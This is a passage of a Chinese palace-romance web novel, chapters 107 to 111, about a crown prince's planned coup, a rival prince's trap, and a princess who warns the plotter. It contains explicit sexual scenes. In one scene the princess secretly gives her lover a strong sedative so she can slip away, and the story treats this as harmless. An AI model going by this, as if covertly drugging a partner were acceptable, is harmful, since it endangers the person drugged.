明明往常只要一想到颜嘉柔,都会立刻有反应。 难道真的要用那个秘方?可是,那终归太冒险了些……况且不可能经过太医院。 而如今太医院已经一口断定他再无痊愈的可能,怕是父皇也这么认为吧。 他应该已经放弃他了。 不,他早就放弃他了,又岂是近日之事? 只不过如今他成了废人,他更有理由废黜他了。 不废黜他,又怎么给他的心肝彻儿挪位置呢? 呵,为了让萧彻洗清血脉争议,名正言顺地登上太子之位,他甚至不惜让萧彻认姜嫣做母——任他们这出戏做得如何天衣无缝,瞒骗过了所有人,却也不可能骗得了他。 只因他比所有人都要了解魏元帝——倘若萧彻不是贵妃的儿子,他根本不可能让他做太子,也不可能为他花费如此心思。 他寡情冷性,连自己的亲子都视若无睹,也唯有跟贵妃有关的人事,才会如此费心。 他费了这么多心思,不就是想满足贵妃的遗愿,让萧彻继位吗? 如今事情已经到了这个局面,萧衍被废,萧彻洗清血脉争议,风头无两,而他已然成了废人,路都铺好了,废黜他只不过是朝夕之事。 或许明天一睁眼,废黜太子的旨意便下来了。 萧珏闭了闭眼,深深地叹了一口气。 留给他的时间,已经不多了。 正在这时,有脚步声渐近,萧珏猛地一扭头:“谁?” 只见苏全躬着身,正快步朝他走来,及至走到他身前,弯腰与他耳语道:“殿下,李将军让奴才来给您递句话,说他都部署好了。” 萧珏眸光亮了一瞬,脸上终于爬上一点奇异的笑容,隐隐带有点兴奋。 他挥了挥手道:“知道了,下去吧。” 苏全走后,他又重新躺回了软塌上,说是软塌,其实更像是逍遥椅,底下装了摇杆,人躺在上面,便能前后摇晃。 熏香袅袅,青烟顺着逍遥椅的檀木螭纹爬满衣襟。 他屈指叩在檀木扶手上,闭目片刻后,缓缓睁开了眼,满目清明。 李将军李戎,时任右卫大将军,刚得胜归朝,却被委任他职,只怕不久后就要交出兵权,难免心生不满。 萧珏便趁机游说他,让他同意与其谋反。 事到如今,他已经被逼至绝境,眼下,也只能置之死地而后生了。 不成功,便成仁。 说起来萧珏与其颇有渊源,早年其未受重用时,是萧珏出面举荐,魏元帝看出他确是可用之才,才让他领兵作战,从而立下赫赫战功,一路高升。 他一回到宫中,在见过魏元帝之后,第一件事便是来东宫看望萧珏,见他如此颓败,心中颇为难受,开导劝诫了他一番后,萧珏却猛地握住了他的手,目光炯炯地道:“将军劝我要重新振作,不可自甘堕落,让父皇对我失望,可将军可知,他从未对我寄予过厚望,只因我不是江沉鱼之子,生来便是错的!” “父皇满心满眼,只有江沉鱼母子。” “我落到如今这个地步,只怕他乐见其成,不如此,又怎么为他的心肝彻儿让路呢?” “现在满朝文武都信了萧彻并非江沉鱼之子,可我绝不会信这样的鬼话!他长成那样,你跟我说他不是江沉鱼的儿子?不是江沉鱼的儿子,父皇会为他如此费心吗?” “将军,就算不是为了帮我,你难道要眼睁睁地看着前朝余孽成为我们大魏的储君吗?这置满朝文武于何地?” “将军不必担心我的身子,我有一秘方,可治愈我的隐疾,绝不会影响传嗣的。” “将军若助我,待我他日登上大位之时,将军便有从龙之 功。难道不比兵权被夺,受这等窝囊气要来得好?” 李戎猛地抬头,眼底有异芒流动,最终反握住萧珏的手,郑重地点头。 萧珏大喜,有李戎帮他,这事至少有七成把握。 他眯起了眼眸,眸底有寒光闪过。 萧彻,他想,你欠我的,都该一一还回来了。 第108章 第108章最好把她拘在含光殿中…… 萧珏与李戎打算在三日后动手,那日正是江沉鱼的忌日,魏元帝必前往披香殿祭奠,披香殿的守卫要比魏元帝寝殿的守卫宽松许多,在那里下手,至少可以增加三成把握。 他二人商议后,决定做如下部署: 清晨羽林卫换岗时,守卫最弱,东宫的府兵便在那时将披香殿团团围住,制住魏元帝,之后趁羽林卫的主力尚未反应过来时,李戎便带着城外的一万精兵攻入城内,届时局势尽在他二人掌握,当可逼魏元帝退位,将皇位传给萧珏。 —— 而如今宫外的李戎传来消息,一切都已部署完毕。 萧珏的目光落在虚空中的一点,缓缓勾起了一个笑。 一旁的香炉中,沉香木突地爆开一粒火星,他眼睫轻颤,仿佛见到袅袅青烟在半空中渐渐幻化成夔龙的身形,龙爪攀着香炉蜿蜒而上,在朝他传递着什么。 他忽然哈哈大笑了起来,感觉那个皇位已经在向他招手。 他的眼眸中迸射出奇异的光彩,胸腔激荡,仿佛有一股熱流在缓缓流淌,甚至觉得自坠马后,沉寂已久的下身也隐隐有了抬头的趋势。 他深深地一闭眼,发出一声喟叹。 权力的感觉,实在让人着迷。 父皇,你一向瞧不上我,我和我可怜的母后,在你眼中,如粪石一般,您的心中只有那妖妃母子,从来不肯正眼看我们一眼。 可我和我母妃,也是你的妻儿啊。 她那么爱您,您怎忍心如此待她! 倘若三日后我起事成功,您是否会高看我一眼呢? 您也会为我感到骄傲的吧。 届时他要从萧彻身上,将他所失去的,一样一样讨还回来。 首当其冲的,自然是颜嘉柔。 那日在长乐门他与她说了那么多,也不知听进去了没有? 听苏全说,她这几日三天两头便往含光殿跑,一呆便是几个时辰,甚至有一日彻夜未出,想也知道她在那里跟萧彻做什么。 他的劝诫,她是一点都没听进去。 前朝兰陵皇室男子一夜御几女,因为精力骇人和性//。欲旺盛,将女子折腾死也是常有的事。 他如今已经想通了,在颜嘉柔的怪病未治愈前,便由得她胡来,只当萧彻是为她治病的药。 毕竟他比颜嘉柔年长许多岁,当然应该学会包容她。 反正她迟早都是他的,他自然要大度一些,用不了多久,他就能将颜嘉柔重新夺回来,在此之前,让萧彻先教她一些人事,也没什么不好。 ——便也只能如此想了! 唯一担心的,便是这样下去,颜嘉柔的身子受不住。 他当然知道萧彻应该知道分寸,会收着点,不至于像传闻中那般弄出人命。 可即便如此,他还是会担心。 若换做是他,必然好好怜惜,岂会如此不知节制?! 这般想着,便又对他愈发憎恨。 果然是妖妃的儿子,不光容貌,便连行事心性也一脉传承,最擅勾引蛊惑之事。 竟让他一贯乖巧矜持的皇妹为他迷恋至此,连他的劝诫也半分都未听进去。 恐怕是一旦见到了他,便什么都忘了。 可那日他对她说“萧彻借萧衍之手害他坠马,一箭双雕,以及对她并非真心,不过是利用她而已“之类的话,观她神情,也并非全然没有听进去。 难道是她回去找萧彻质问,又被他三言两语糊弄过去了? 呵,多半便是如此了。 不过无妨,只要埋下怀疑的种子,他迟早有办法让它生根发芽。 至于他三日后要做的事,不过是拿回原本就该属于他的东西,嘉柔心软,他只要稍稍哀矜作态一番,她会体谅他的。 —— 含光殿,书房内。 燕骁将一封展开的密函递给萧彻,面色凝重:“你料得不错,这几日萧珏在东宫装疯卖傻,整日饮酒,旁人都以为他坠马之后,伤了要害,加上宫中流言四起,都说太子迟早被废。他受此打击,日渐消沉,所以才会整日邀人饮酒作乐,其实不过都是掩人耳目的幌子罢了。” “这几日频繁出入东宫的,也并非酒肉之徒,而是与他密谋谋反之人。” “我的人已经帮我们打探到了,递了密函给我,上面写着李戎是他主要的合谋,他已经在城外部署了一万兵马,就等着三日后的清晨攻入皇城,逼圣上退位,传位于萧珏。” 萧彻闻言眉梢微抬,意味不明地轻笑了声:“哦?他敢谋反?我这位往日里一向懦弱胆小的皇兄,有朝一日,竟也会谋反?” “看来,这回真是将他给逼急了,所以才会兵行险着,什么都不顾了。” 燕骁:“那你打算如何?禀告圣上吗?让他提前做好部署,抑或是现在就将萧珏打入大牢,以绝后患?” “急什么,”萧彻轻笑了声,低头摩挲着手上的玉扳指:“若是现在就将此事禀告给萧元乾,岂不是没有好戏看了吗?” 燕骁皱眉:“好戏?” “萧闻祈,你想做什么?” 萧彻侧头看了他一眼,一张脸隐在半明半暗的光线中,微微笑道:“很简单,将计就计。” “萧珏不是想谋反吗,那就让他反。” “因为重伤废黜,落人话柄,门阀士族难免颇有微词,萧元乾不是正苦于没有一个合适的契机正式颁布废太子的旨意吗?” 他笑了下,烛火在他眼中跳跃,有种摄人的潋滟:“如今他自己将把柄送上来,为什么不要呢?” “只要坐实了他谋反的罪名,他这个太子之位,不废也得废了。” 燕骁沉吟道:“都听你的,你打算具体怎么做?” “让他反,他要想谋反成功,少不了李戎的一万人马支援。你届时提前率领羽林卫在城外拦截李戎的兵马,我则率领府兵提前埋伏在披香殿,一旦萧珏有所动作,我便将其拦下,这样谋反之名有了,谋反之事却未成,最合适不过。事成之后互相以烟花为号。” “这一次,我一定要让萧珏坐实谋反之罪,有来无回。” 话音刚落,却听门外响起一阵异动。 似乎有人在门口。 萧彻和燕骁互相对视了一眼,不约而同地皱起了眉,以极快的动作推门拿人。 颜嘉柔还未反应过来时,咽喉已经被人扼住,她完全没有一丝反抗的余地。 力道之大,让她疑心她下一刻就会被活生生掐死在这里。 她发不出一点声音,颓然无力地拍打着扼住她咽喉的那只手,在即将晕死过去的前一刻,咽喉上的那股令人窒息的力道却骤然撤去,紧接着,她跌入一个熟悉的怀抱,萧彻的声音在头顶上方响起,听得出十分懊恼自责,又是万分的疼惜:“颜颜!颜颜……你没事吧?” 颜嘉柔无力地靠在他的怀里 ,胸脯起伏,大口大口地喘着气,过了好一会儿才缓过来。 萧彻轻轻拍着她的胸口,替她顺着气,皱眉担忧道:“好点了吗颜颜?” 霜白的月色从窗隙间斜漏下来,细碎地流淌在她的身上。 她此刻的脸色比月色还要苍白三分。 颜嘉柔微微别过了脸,不想让萧彻看出她的异样,只含糊地“嗯”了一声。 萧彻关心则乱,并没有察觉到不对。 一旁的燕骁却微微皱起了眉。 “小公主,”他叫了她一声,试探地道:“你怎么会在这儿,你方才,可曾听见我和三殿下说了什么?” “我……我是来找三哥的……我来过许多回了,薛止跟我说他在书房,我便自己过来了……” “过来多久了?可曾听到我和三殿下说了什么?”说着见颜嘉柔一副吞吞吐吐的样子,脸上已渐渐显现出不耐之色,上前逼近一步道:“说啊,清河公主。” 颜嘉柔一时还没想到借口,被他这么一逼问,惊慌失措之下,紧紧环着萧彻的腰身,把脸埋进他的怀里,呜咽道:“哥哥……” 萧彻揽过她的身子安抚着她,一边皱眉看向燕骁:“好了燕骁,你吓到她了。” “萧闻祈,你再宝贝她,也得问问她听到了什么!” “我……我什么也没听到……”颜嘉柔怯怯地从萧彻的怀里抬头,月色从她的眉眼间淌过,她眼睫轻轻颤动,垂下了眼睑。 浓睫掩映下,看不清她眼底的神色:“我才刚来一会儿,本来想等你们议完事之后再进去找三哥,结果……结果突然瞥见窗外闪过一道黑影,其实现在想起来,该是一只野猫,只是当时我尚未反应过来,被吓了一跳,不小心撞到了门上,这才惹出了动静……” “是么?”燕骁看了她一眼,意味不明地道:“小公主,果真如此吗?” “我……真的……”颜嘉柔抬头,许是因为燕骁的追问而生出几分委屈,眼圈红红的,在他怀里扭动着身子撒娇道:“哥哥……”大有几分告状的意味,就差没把“你看他”那三个字给说出来了。 萧彻抬手轻抚她的后脑勺:“乖,没有说不信你。” 他转头看向燕骁:“好了燕骁,她不过一个小姑娘,她懂什么,该说的事情也都说得差不多了,便按计划行事,趁着宫门还未下钥,你先回去吧。” 燕骁蹙着眉,也觉得是自己过于疑心了,况且萧彻行事向来有自己的分寸,到底也没再说什么,只是临走时最后看了眼他二人,最后目光落在萧彻的身上,叮嘱道:“这几日,多看着点你的心肝,最好把她拘在含光殿中,以免节外生枝。” 萧彻颔首:“我知道。” 燕骁走后,萧彻把人圈在怀里,低头枕在她的颈侧,轻轻蹭了蹭她,温热的气息落在她的耳际:“宝宝,听到了吗,这几日就宿在含光殿中,别回去了。对外就说你染了风寒,不宜外出,也谢绝见客,知道了么。” 颜嘉柔这会心神大乱,并没有心思仔细听他说了什么,闻言只胡乱回了一句:“……宿在含光殿中做什么?” 耳边忽然传来萧彻的一声闷笑:“你说做什么,嗯?” 他轻咬着她的耳廓,哑声道:“当然是……在含光殿被我狠狠干。” 颜嘉柔这时才回过神来,扭头嗔了他一眼:“哥哥,你……你别总这么不正经……” 她面上一红,仿佛十分害羞的样子,将脸埋入萧彻的怀里,等萧彻看不见她时,脸上那点羞怯才渐渐退去,取而代之的,是一种十分凝重的挣扎与矛盾。 她方才在门口都听到了,萧珏已经打算谋反,怪不得那日在长乐门他会对她说那样一番话。 狗急了也会跳墙,他不会任人鱼肉、坐以待毙的。 原来是这个意思…… 他怎么会这般冲动呢! 而萧彻已经事先知道他要谋反,萧珏若再按计划行事,只会被当场抓获,届时证据确凿,他这谋逆之罪必然是坐实了。 她不是没有想过萧彻一旦起了夺位之心,日后会与萧珏兵刃相见。 如今这一天终于还是来了,她却不知道该怎么办才好。 第109章 第109章“这条襦裙我很喜欢,…… 颜嘉柔一时心中极乱,她爱萧彻,若是非要在他和萧珏之间做出选择,她自然是偏帮萧彻。 可眼下的局面,并不是她不选萧彻,萧彻便活不了了,而是她不选萧珏,他就会被扣上谋逆的罪名。 她不懂朝堂之事,却也知道谋逆不是小罪,凡是跟谋逆沾上边的,丢脑袋都是小的,动不动便是株连九族。 萧珏身为皇子,自然怎么都不会落到株连九族的地步,只是他的性命,能够得以保全吗? 同样的事,若是换做萧彻做,父皇肯定会法外容情、从轻处理,可萧珏,他一向为父皇所不喜,如今又做出这样的事,父皇盛怒之下,会不会要他性命呢? 这是谁都无法保证的事情。 颜嘉柔太害怕萧珏会丢掉性命了,她亏欠他的已经够多了,这件事她不知道还好,眼下已经知道了,若还眼睁睁地看着萧珏去赴这场必输之局,落入萧彻早已为他设好的圈套,背上谋逆的罪名,她这辈子都会良心难安的。 不,她不能袖手旁观,她一定要想办法知会萧珏,让他迷途知返,这样才能够救他。 打定主意后,颜嘉柔心下稍安。 只是眼下的问题是,萧珏不让她回去,她走不出这含光殿,该如何给萧珏通风报信呢? 正想得出神,萧彻忽然轻吻过她的脸颊,嗓音混着笑意:“想什么呢,小兔?” “我……”颜嘉柔眼睫簌簌颤动,有些心虚地垂下眼睑:“我在想,你为什么不让我回去……映雪还在承欢殿等我呢,我说过要回去的……” “宝宝,你上回也这么说的,后来做过头了,不也宿在了含光殿中,我想映雪她早就习惯了,不妨事的。” “这次不一样!”颜嘉柔推开了他,抬头急急地道:“我要回去的!” 萧彻慢慢地直起了身子,掀起眼皮看了她一眼,语气意味不明:“哦?这次怎么不一样了?” “我……”颜嘉柔意识到自己表现得过于明显了,连忙找补道:“……映雪今天给我从宫外带来了几本时兴的话本,我还没来得及看呢。而且燕小将军方才是什么意思,倒像是防我防得紧似得,怎么,我是外人吗,有什么听不得的?况且我也没听到什么呀。你们那些朝堂上的事,我才不感兴趣呢。” “他上次见我还叫我嫂子呢,这回却把我当外人防着,还要拘着我,凭什么呢。我偏不要听他的话,我要回去!” 这话说得真假掺半,后半段对燕骁的抱怨确实是出自真心,神情不似作假。 她本来就是娇生惯养的大小姐脾气,是要所有人哄着的,稍一不顺心就要发脾气,因此这番话,倒确实符合她的性子。 萧彻看了她一会儿,慢慢笑了,哄小猫咪似得抬手挠了挠她的下巴:“颜颜,他都叫你嫂子了,做嫂子的,怎么还和他一般计较。” “不生气了,宝宝,”他道:“燕骁也并非那个意思,你若是生气,我替你向他赔个不是。” 颜嘉柔抿了抿唇,试探地道:“那……我可以回去吗?” “不能。”萧彻微笑地道。 拒绝得十分干脆。 颜嘉柔的一颗心瞬间沉到了谷底。 她心情颇为烦乱地别过了脸:“……为什么?” 萧彻挑眉,捏了捏她肉乎乎的脸颊,微微笑道:“谁让你偷偷在门外听我们墙角,把你拘在含光殿便算是小惩大戒了。” “……我又不是外人,怎么就不能听了!” “是内人也不能听。小兔,偷听墙角总不是一件光彩的事。” 颜嘉柔噘起了嘴:“……可我说了我什么也没听到呀。你不信我吗?” 他抬手揉了揉她的脑袋:“没有不信你,只是你待在我身边,我能更放心一些。” 手上的动作一顿:“况且抛开这个不谈,这几日宫中会有些变故,你不在我身边,我不放心。” “颜颜,听话,好吗?” 颜嘉柔呼出一口气,知道萧彻是不会让她走了,眼下若非闹着要走,反而显得刻意,便只能先点了点头。 至于之后如何,便只能走一步看一步了。 或许等晚些时候萧彻睡下了,她能够找到机会偷偷出去。 再回过神来时,萧彻已牵着她的手进了书房。 门被关上的那一刻,她倏地回过神来。 萧彻抱臂斜靠在门上,懒洋洋地扯了个笑:“小兔,你还没说,你这会儿过来找我有什么事呢?” “噢……”颜嘉柔方才心绪混乱,这会经他一提醒,才想起她此行的目的。 她低头抿了抿唇,解开了襟前的系带,将身上披着的那件斗篷给解了下来,露出底下 穿着的一件襦裙:“映雪今日出宫,给我带了好多东西回来。嗯……有一件从锦绣坊带来的襦裙,特别美,我很喜欢,想穿给你看看……” 她说着转了个圈,笑着问他:“哥哥,好看吗?” 萧彻抬眸,只见她穿了一件绯色的织金襦裙,裙摆用金丝银线绣着暗纹,随着她的轻轻转动,十二幅裙摆便漾起霞色涟漪。 烛火下裙摆的绣线流转着熠熠的光彩,愈发衬得她整个人光彩夺目。 萧彻滚动了喉结,掀唇道:“好看,很美。” 颜嘉柔得了夸奖,开心地提起裙摆扑到他的怀中,抬头亮晶晶地看着他:“那你喜欢吗?” 萧彻摸了摸她饱满圆润的后脑勺,低头看了她一眼。 这身绯色襦裙衬得她愈发娇艳了。 海棠一般鲜妍的颜色,眉梢眼角俱是春意,端的是妩媚动人。 只是眉眼美艳侬丽之余,却仍透着一派天真。 脸颊婴儿肥未褪,娇憨可人。 看他的眼神,更像是某种小动物卖力讨主人欢心之后,希冀得他夸奖,如愿后,欢喜地看着他,只差没摇尾巴了。 天真到完全不知道她如今这副模样,落在他的眼里,又是一种怎样的意味。 这样的反差,反而愈发勾人。 萧彻亲了一下她的额头,嗓音喑哑,含混地笑了声:“喜欢,我怎么会不喜欢。” “真的吗?你喜欢就好啦。” 修长的手指搭在她身前的襟带上,萧彻慢条斯理地接着系带:“好看又好脱,我当然喜欢了。”话音刚落,襦裙便一整条从胸前滑落,堆积在脚踝处。 颜嘉柔娇呼一声,一整个贴在萧彻的身上,借他的身体作为遮掩:“哥哥……” 身前被两t棉阮紧紧负压着,萧彻滚动了喉结,只觉章得发疼,弯腰将人一把抱起,走向了书房里面搭置的一张软塌,将颜嘉柔动作轻柔地放在榻上。 直到他覆上来时,颜嘉柔还在担心她散落在地上的那条襦裙:“我的裙子……” 萧彻亲了亲她的眼睛,嗓音哑的厉害,忍耐着与她回话:“怎么了,这回又没扯坏?” 他的语气无奈中又透着点宠溺:“宝宝,你能不能专心点儿?” 说到扯坏裙子,颜嘉柔不免想起了上回在假山里,萧彻动作太过急躁,因为不好脱,直接一把扯坏了她的裙子,忍不住控诉道:“上回……上回那条被你扯坏的裙子,你说了要赔给我的,到现在还没兑现呢。” “祖宗,我都差人送了你一整盒金叶子,买十条裙子都有余了,怎么还算没赔你?” “那怎么能一样!”颜嘉柔不满地反驳道:“裙子是裙子,金叶子是金叶子,我才不要金叶子,我要裙子!” “好,等我下回出宫了,亲自去给小兔买一条,好不好?” “这还差不多……嗯,不过我要你带我一起去!我不试穿怎么知道合不合身呢?” “还需要你亲自试穿吗?”萧彻将她的一缕碎发别到耳后,轻笑了声,玩味道:“上了那么多次,你的身子,没有哪一处是我不熟悉的,又岂会不知你的尺寸?” 颜嘉柔一愣,脸颊爬上一抹胭脂色,支支吾吾道:“……我不管,我要自己去嘛,自己试过了才万无一失啊。” 说什么万无一失,不过是想找借口让他带她出宫玩儿罢了。萧彻唇角微勾,并没有拆穿。 “好,下回等我得了空,带小兔一块出宫好不好?” “好!”得到满意的回答,小姑娘圈着他的脖颈,啪叽一口亲在他的脸上。 萧彻难奈地轻咬着她的耳廓,气息紊乱地道:“……那这几天就要乖乖地待在含光殿里,别回去了。若觉得无聊,我这里也有你爱看的一些话本,特意为你买的,你尽可以拿去看。” “我才不要!”提起萧彻给的那些话本,她只觉难以启齿:“你那些话本,全都是不正经的话本,我才不要看……” 萧彻挑眉,这才想起他之前给小兔的几本话本,似乎混着本椿宫三十六式,他倒也不是刻意为之,许是书坊老板会错了意,给了他这本避火图,难怪他那时看他的眼神颇有几分深意。 虽然不是刻意为之,不过给小兔看看椿宫,让她多学着点,也不是坏事。 她在床上也是一团孩子气,什么都不懂,被他调//。教了许久才好一些,可惜悟性又太差,或许真得看点图学一下:“你不说我还忘了,上回不是让你学吗,怎么样,可都学会了吗?” 颜嘉柔哼了一声:“哥哥,你可真不害臊,居然让我学那种东西,我才不学呢。” 萧彻敲了一下她的脑袋:“脑子笨也就算了,怎么还不肯学?这么不乖么?” 颜嘉柔蔫了下来:“我哪里有不乖……” “那就学。” 萧彻也来了兴致,说着起身将那本避火图拿了过来,递给了颜嘉柔:“自己选。” 颜嘉柔懵懂地接过,眨了眨眼,抬头一脸茫然地看着她:“选?选什么……” 萧彻挑眉:“今天第一次的滋事。” 颜嘉柔顶着一张大红脸不想选,但是又怕萧彻不开心,最后硬着头皮指着第十六式道:“就要这个!” 萧彻扫了一眼,倒是有些意外:“钕上?” 颜嘉柔不懂这个,只是觉得这个滋事好像特别过瘾:“从前都是你欺负我,这回换我欺负你,我要把哥哥当马骑!” “哦?那就要看看你有没有这个本事了。” 结果证明她果然没那么本事,期了没一会儿就把自己给弄丢了,之后整个人娇娇懒懒地不想再动弹。 萧彻好笑地看着她,起身把她押在s下,大开大合地糙侬了起来。 这一场晴事持续到夜间,颜嘉柔照例是被。晕过去的。 通常颜嘉柔晕过去之后,往往睡得极沉,若是没人去叫,不到次日中午绝不会醒来。 一向都是如此,萧彻自然也不会怀疑会有例外。 可这回到了半夜,她却忽然睁开了眼,眸底一片清明。 第110章 第110章背叛 若是放在从前,颜嘉柔自然不可能在半夜醒来,可这一回,她心里装着事,被吊着一股劲,这才会在半夜猛地惊醒。 之前用晚膳时她推说最近胃口不好,要喝一种汤药,撒娇着要萧彻吩咐人去做。 她最近被萧彻喂得太多,整个人十分娇懒,确实胃口不太好,因此萧彻也并没有起疑,立刻让人按照颜嘉柔给的方子去做了 但方子被她换成了安神汤,之前她被野狐咬伤后,夜里总是多梦易醒,映雪请太医过来给她开了一张安神的方子,起初效果并不明显,后来在她的再三要求下加了一味猛药,服用之后一夜好眠,夜里绝不会醒来。 只是这药不可多用,否则对身体有损,她也不过用了三五次而已,后来她和萧彻好上了,他愿意做她的解药,自那以后,她便睡得十分安稳,再也不需要那个药了。 萧彻命人做好汤药后端了上来,她又发脾气说做得不好,肯定是忘了放蜂蜜和甘草了,苦的要命,特别难喝,非要萧彻喝下向她赔罪,她才肯消气。 萧彻也是太惯着她了,居然真的依言照做。 她其实并不想给萧彻用这种药,可是事急从权,为了救萧珏,偶尔一次,应该也没什么大碍。 她在黑暗中起身,借着窗外朦胧地月光,看向了躺在身侧的萧彻。 她今晚刻意迎合,勾的他多做了好几次,消耗了不少体力。 再加上喝了她的安神汤,因此他睡得格外沉稳。 呼吸绵长,睡颜安静而美好,她看了他好一会儿,试探地叫了声:“哥哥?” 果然毫无反应。 她顿时松了一口气,轻手轻脚地下地,等走到外面一些,捡起地上散落的衣物,披上斗篷,悄悄地开了门…… 她想要偷偷溜出去其实并不难,前几日萧彻为了方便她过来,特地为她凿了个暗门,可以直通承欢殿,并不用经过大门,因此可以绕开值守的宫人,神不 知鬼不觉。 至于旁的不当值的宫人,这会儿早已睡去,自然更是发现不了她。 颜嘉柔很顺利地就出了含光殿。 出去之后,她并没有回去承欢殿,而是绕行赶去了东宫。 —— 萧珏被苏全叫醒,说颜嘉柔就在东宫候着时,还以为是在做梦。 他望了眼窗外漆黑的天色,皱眉道:“这个时辰,嘉柔怎么过来了?” 苏全本来还担心这个时辰将萧珏叫起会触怒他,如今见他并没有发怒的意思,方才松了一口气:“回禀殿下,奴才也不清楚,小公主只说是有十万火急的事,非要这会儿见你,奴才见她神色凝重,倒的确像是遇上了大事,这才斗胆来叫醒你。” “嘉柔遇上了大事?”萧珏皱眉,一面起身穿衣:“走,去看看。” 颜嘉柔正在正殿等候,听到脚步声后连忙回头,见是萧珏,立刻朝他奔去:“太子哥哥,我有要紧事!” 她跑得急,眼见就要撞上萧珏,萧珏连忙伸手扶住她,帮她稳住了身形:“嘉柔,这么晚了,究竟有什么事?” “太子哥哥,我……”颜嘉柔在原地站定,取下风帽,好一会儿才喘匀了呼吸,刚想开口,却瞥见一旁的苏全,微微蹙眉,转头看向萧珏道:“太子哥哥,我有很重要的事要跟你说,这事绝不能泄露,你能不能屏退左右……” 萧珏看了一眼苏全,对着颜嘉柔道:“无妨的,我的事苏全都知道,嘉柔,有什么事,你但说无妨。” 既然萧珏都这么说了,颜嘉柔也不再避讳,抬头直直地望向萧珏的眼里,眉心紧蹙:“太子哥哥,你是不是想谋反?” 话音刚落,殿内顿时陷入诡异的静默。 苏全抬头擦拭了一把冷汗,只能眼观鼻,鼻观口,默不出声。 萧珏低下头,意味不明地摩挲着手上的扳指。 一旁鎏金蟠龙灯架上的光晕斜斜笼住他的侧脸,他垂下眼睑,长睫在眼下投射出一片晦暗不明的阴影。 良久之后,他才抬头望向颜嘉柔,缓缓道:“嘉柔,你这是哪里听来的浑话?” “太子哥哥,你不要骗我了,我已经什么都知道了!”颜嘉柔看着他,情绪显得有些激动:“我赶来就是为了告诉你,快收手吧!现在收手还来得及,否则你只会陷入万劫不复的境地,永世不得超生的!” 萧珏平静的脸上此刻终于出现了裂缝,他皱眉看着颜嘉柔,眸底有暗涌翻动:“嘉柔,你到底知道些什么?” 颜嘉柔:“我说了,我什么都知道了。但是我不能告诉你我是怎么知道的。我只能告诉你,如果你再这么执迷不悟下去,绝不会有好下场的!” “太子哥哥,你以为你是在赌吗?你以为你有过半的胜算吗?所以才会这么冒险行事,孤注一掷?但我告诉你,这是场必输之局,一切都部署好了,便就等着你入局呢!你若是真的那么做了,等待你的便只有板上钉钉的谋逆之罪!” “破局的唯一方法,就是现在收手,一切便都还来得及。否则三日之后,便是你的死期!” 她说着攀上萧珏的手臂,显见是有些急了:“太子哥哥,你听我一句劝吧,我不会骗你的。我虽然更喜欢萧彻,但是我对你更为歉疚,我不会害你的,我只想你能好好的,太子哥哥,你信我。” 萧珏深看了她一眼,伸手拍了拍她的手臂:“嘉柔,我怎么会不信你。” “好了,你要说的话也已经说完了,天色不早了,你还是早些回去歇息吧。” “可是太子哥哥,”颜嘉柔反握住他的手,紧紧地盯着他道:“我说的话你到底听进去没有?” “嘉柔,”他深看了她一眼,只道:“我知道了。” 没有确切的“好”或者“不好,”只有一句态度暧日未的“我知道了。” 颜嘉柔自然不能安心,可话说到这里,她自问已经尽力了,只能略显失望地放开了手,最后看了他一眼道:“太子哥哥,我言尽于此,你……你好自为之。” “嗯,回去吧。”萧珏抬手帮她系紧了绦带,却在指尖触碰到她的颈侧时,微微顿了顿。 颜嘉柔重新戴上了风帽,一步三回头地走了。 —— 颜嘉柔走后,萧珏站在殿中久久未动,有风自未紧闭的窗牖中吹入,殿内几盏鎏金蟠螭烛台的火焰随之明灭晃动,无端添上一层诡谲阴森之感。 苏全见萧珏久久未有动作,终于忍不住问道:“殿下,公主是如何得知此事的……那您接下来,有何打算?” 萧珏微微眯起眸子,眼中闪过一丝阴鸷之色:“她是如何得知此事的?这还用问,除了从萧彻那里得知,还能有谁?” “你没闻到她身上的气味么?” 苏全微微皱眉,困惑道:“回殿下,什么气味?” 萧珏嗤了一声:“算了,跟你个阉人说什么,腥檀之气,你自小就被净了身,恐怕从未闻到过这个气味。” “这大半夜的,连颈侧的吻痕都是新鲜的,必然是趁着萧彻熟睡,刚刚从含光殿跑出来。” “也就是说,我要谋反的事,萧彻已经知道了。” 苏全脸色猛地一变,这事若是被三殿下知道了,圣上岂不是也会得知?到时候祸及东宫,覆巢之下,安有完卵:“那殿下打算如何?是不是要去跟李戎将军说一声,计划有变?” “计划自然是有变,只不过,出兵依旧。” “殿下这是何意?” 萧珏冷哼了一声:“听嘉柔的意思,萧彻是打算装作什么都不知道,等我出兵之后,再将我一举擒获,好治个板上钉钉的谋逆之罪。” “好个萧彻,心思竟如此阴毒。只可惜他千算万算,算不到有朝一日,也会被枕边人出卖。” 说到这里,他的眼神蓦地柔和下来:“嘉柔心里,到底还是有我的。” 他深深地一闭眼,抬起头,目光渐渐落在虚空中的一点,阴阴地笑了一声:“他不是想扣我个谋逆的帽子吗,礼尚往来,我自然也要将这顶帽子扣还给他。” “告诉李戎,计划有变,原定卯正动手,现在往后挪半个时辰。” “记得小心行事,要在只有你二人在场时亲口告诉他,他身边有眼线,这次,切不可再泄露了。” 110-120 第111章 第111章谋反(修改过记得重看…… 颜嘉柔从东宫出来后,又神不知鬼不觉地回了含光殿。 她进门后便脱了衣裙,轻手轻脚地往床榻边走去,萧彻睡得很沉,直到她上床后重新躺在他身边,他也未曾发觉。 那药果然管用。 颜嘉柔松了一口气,环住他的腰身,轻轻地将脸颊贴在他的胸膛上。 许是刚做了对不起他的事,她此刻对他前所未有的愧疚,鼻尖忍不住泛上一阵酸意。 “哥哥,”她轻轻摩挲着他的胸口:“对不起……” “你会原谅我的吧。” 会的。 心底有一个声音告诉她。 他那么喜欢你,无论你做了什么,他都会无条件地原谅你。 她闭了闭眼,内心的不安被稍稍抚平。 “但愿如此。”她道。 她微微抬起头,借着月色静静地凝视着他,月光缱绻地流淌在他的眉眼之间,有一种清绝的潋滟,她看着看着,忍不住亲吻了上去。 “哥哥,我真的好喜欢你……” “所以,你绝对不可以不喜欢我……你不能骗我……” …… 萧彻早上醒来的时候,觉得头有点疼,整个人晕晕沉沉的,这还是从未有过的。 难道是昨晚纵//。欲过度了? 不对,他的体质不应该如此。 明明从来没有尽兴,又谈何过度? 奇怪。 正想得入神,腰上忽然环上一双手,柔弱无骨地圈着他,后背随之贴上来一具柔软的身体,绵软的脸颊轻轻蹭着他:“哥哥,” 小姑娘的嗓音带着刚睡醒时浓重的鼻音,黏黏糊糊地道:“我好喜欢你……” 萧彻转过身来,摘下她圈 在他腰间的手,低头亲吻了她的手指,勾唇笑道:“怎么一大早就说喜欢我?” 颜嘉柔扑进他的怀里:“晚上也说喜欢你……每时每刻都喜欢你……” 萧彻弯唇:“今天怎么这么乖?” 